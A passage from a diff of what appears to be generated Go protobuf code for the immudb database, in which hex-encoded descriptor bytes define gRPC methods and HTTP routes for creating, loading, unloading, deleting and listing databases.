0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, - 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, - 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, - 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, + 0x69, 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, - 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, - 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, - 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, + 0x2a, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, + 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, + 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, + 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, + 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, + 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, + 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, + 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, - 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, - 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, - 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, - 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, - 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, - 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, - 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, - 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, - 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, - 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, + 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 